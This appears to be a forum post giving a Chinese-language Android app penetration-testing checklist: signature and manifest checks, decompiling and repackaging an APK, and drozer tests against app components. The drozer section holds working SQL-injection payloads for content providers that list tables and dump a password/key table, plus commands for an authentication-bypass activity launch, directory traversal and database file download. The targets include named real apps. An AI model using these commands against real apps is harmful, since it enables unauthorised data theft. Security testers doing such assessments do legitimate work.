標題:APP android 測試用例手冊

taibeihacker

Moderator

一、客户端程序安全测试​

1.檢查apk的信息
java -jar GetApkInfo.jar tfkj.apk
1049983-20211217131228014-496545986.png

2.數字簽名檢查
C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe-verify C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台\天府科技雲服務平台.apk
1049983-20211217131228573-1991440786.png

C:\Program
Files\Java\jdk1.8.0_111\bin\jarsigner.exe-verify C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台\天府科技雲服務平台.apk -verbose -certs
1049983-20211217131229003-618681876.png

開發者證書不規範,導致開發者身份信息不明
keytool.exe-printcert-file.\CERT.RSA
1049983-20211217131229516-1178820240.png

3.反編譯檢查
通過ApkScan.jar查看APP加固類型
1049983-20211217131230011-966832256.png

apk反編譯為Java源代碼:
把apk 當成zip 並解壓,得到classes.dex 文件
1049983-20211217131230480-638869969.png

將解壓出來的classes.dex文件拷貝到dex2jar工具文件夾中
1049983-20211217131231153-1756958467.png

執行命令:d2j-dex2jar classes.dex
1049983-20211217131231611-193919411.png

執行完畢後,得到反編譯而來的classes-dex2jar.jar文件
1049983-20211217131232059-1991644145.png

使用jd-gui.exe或者luyten-0.5.4打開classes-dex2jar.jar文件,得到360安全加固混淆加密的源代碼。
1049983-20211217131232556-603158649.png

apk編譯為smali語言:
java -jar [apktool_2.3.4.jar] d -f
[apk地址] -o [輸出目錄]
java -jar
apktool_2.3.3.jar d [-s] -f C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台.apk -otfkj //遇到類似於淘寶app無法反編譯這樣,-s代表只反編譯xml文件
java -jar
apktool_2.3.3.jar d -f C:\Users\bk\Desktop\天府科技雲APP\天府科技雲服務平台.apk -otfkj
1049983-20211217131233067-1296404841.png

或者:
apktool.bat d 天府科技雲服務平台.apk
1049983-20211217131233565-431882397.png

4.檢查AndroidManifest.xml文件
java -jar AXMLPrinter2.jar AndroidManifest.xml
AndroidManifest.txt
或者
java -jar APKParser.jar 天府科技雲服務平台.apk AndroidManifest.txt
1049983-20211217131234098-1085441528.png

1049983-20211217131234611-1809668187.png

1049983-20211217131235024-1950334509.png
1.開啟應用程序數據可備份:
allowbackup備份權限,ture則存在備份數據洩露風險(未配置的情況下,默認為TRUE)
1049983-20211217131235528-1612938688.png

2.開啟不安全的debug模式:
Debuggable屬性,true則存在應用信息篡改洩露風險(未配置的情況下,默認為FALSE)
1049983-20211217131236182-153918030.png

5.檢查是否存在Janus漏洞
(1)Janus漏洞(基於Janus漏洞,攻擊者可以修改APP而不影響其原始簽名,篡改後的APP可以成功安裝運行。應同時使用V1+V2簽名)
1049983-20211217131236672-941233265.png

6.應用完整性校檢
將反編譯出來源碼中修改圖片文件名為test.png
1049983-20211217131237240-1525542787.png

進行重新生成apk包,命令如下:
java -jar apktool.jar b -f 待打包的文件夾-o 輸出apk 路徑
1049983-20211217131237760-235511991.png

1049983-20211217131238381-1458875576.png

或者
apktool.bat b天府科技雲服務平台
1049983-20211217131238824-1189614589.png

天府科技雲文件下便可以發現多了2個文件夾:build,dist(裡面存放著打包出來的APK文件)
重新簽名APK命令如下:
java -jar signapk.jar testkey.x509.pem
testkey.pk8 待簽apk文件路徑簽名後輸出apk路徑
1049983-20211217131239209-956788928.png

然後重新安裝apk,如果重新能安裝上,則文件完整性被破壞掉

二.组件安全测试​

1、基本信息查詢(1)、列出程序安裝包:
run app.package.list
1049983-20211217131239559-1086056965.png
(2)、獲取app名為drozer的包名( 中文APP名列不出來,可以使用:java -jar GetApkInfo.jar得到安裝app的包名)
命令:run app.package.list -f 包名
run app.package.list -f drozer
1049983-20211217131239881-1290900397.png
(3)、查看android四大組件攻擊面:命令:run app.package.attacksurface 包名run app.package.attacksurface com.zhuoyigou.dese
1049983-20211217131240206-1382008858.png

2、activity(界面)组件测试​

通常展現為一個可視化的用戶交互界面(1)、查看對外的activity組件信息命令:run app.activity.info -a 包名run app.activity.info -a com.zhuoyigou.dese
1049983-20211217131240587-1688237832.png
(2)、使用app.activity.start進行漏洞測試
命令:run app.activity.start --component 包名組件名run app.activity.start--componentcom.mwr.example.sievecom.mwr.example.sieve.PWList #繞過密碼進入系統,一般主要登錄窗口交互界面
1049983-20211217131240871-1618307265.png
1049983-20211217131241457-1425156837.png

調用暴露的activity組件(一般activity組件只會暴露一個程序啟動界面,在暴露其他的就屬於組件暴露,下面這個這是個測試,沒有組件暴露漏洞)
1049983-20211217131241829-500625496.png
1049983-20211217131242236-1588541504.jpg

3、content provider(内容提供者)组件测试​

主要用於在不同應用程序之間實現數據共享的功能(1)、查看content provider組件信息命令:run app.provider.info -a 包名run app.provider.info -a com.zhuoyigou.dese
1049983-20211217131242548-2114912260.png
(2)、ContentProviders 數據洩露URL命令:run scanner.provider.finduris -a 包名run scanner.provider.finduris -a com.zhuoyigou.dese
1049983-20211217131242952-505976919.png
(3)、獲取各個Uri的數據
命令:run app.provider.query 可洩露的URL地址--verticalrun app.provider.query content://com.zhuoyigou.dese.ipc.provider/--vertical
1049983-20211217131243276-1703090917.png
(3)、ContentProviders SQL注入命令1: run app.provider.query 能連接的URL地址--projection '''
命令2: run app.provider.query 能連接的URL地址--selection '''run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--selection '''
1049983-20211217131243626-1469344691.png
1049983-20211217131243937-488153965.png
報錯則說明存在SQL注入(4)、列出所有表
命令:run app.provider.query 能連接的URL地址--projection '* FROM SQLITE_MASTER WHERE type='table';--'run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--projection '* FROM SQLITE_MASTER WHERE type='table';--'如下圖我們發現三張表android_metadata、Passwords、Key,從名稱上可以判斷android_metadata是系統相關表,另外兩可能和密碼等數據有關。
安卓四大组件审计实验(drozer)

(5)、獲取某個表(如Key)中的數據:
命令:run app.provider.query 能連接的URL地址--projection '* FROM 表名;--'run app.provider.query content://com.zhuoyigou.dese.ipc.provider/--projection '* FROM Key;--'(6)、檢測SQL注入
命令:run scanner.provider.injection -a 包名
run scanner.provider.injection -a com.zhuoyigou.dese
1049983-20211217131244758-1741595285.png
(7)、檢測目錄遍歷命令:run scanner.provider.traversal -a 包名run scanner.provider.traversal -a com.zhuoyigou.dese
1049983-20211217131245151-1456269698.png
(8)讀取系統文件命令:run app.provider.read 能連接的URL地址run app.provider.read content://com.zhuoyigou.dese.ipc.provider/
1049983-20211217131245503-305825827.png
(9)、下載系統文件到本地命令:run app.provider.download 可用的下載文件地址本地的絕對路徑
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/datab
 
返回
上方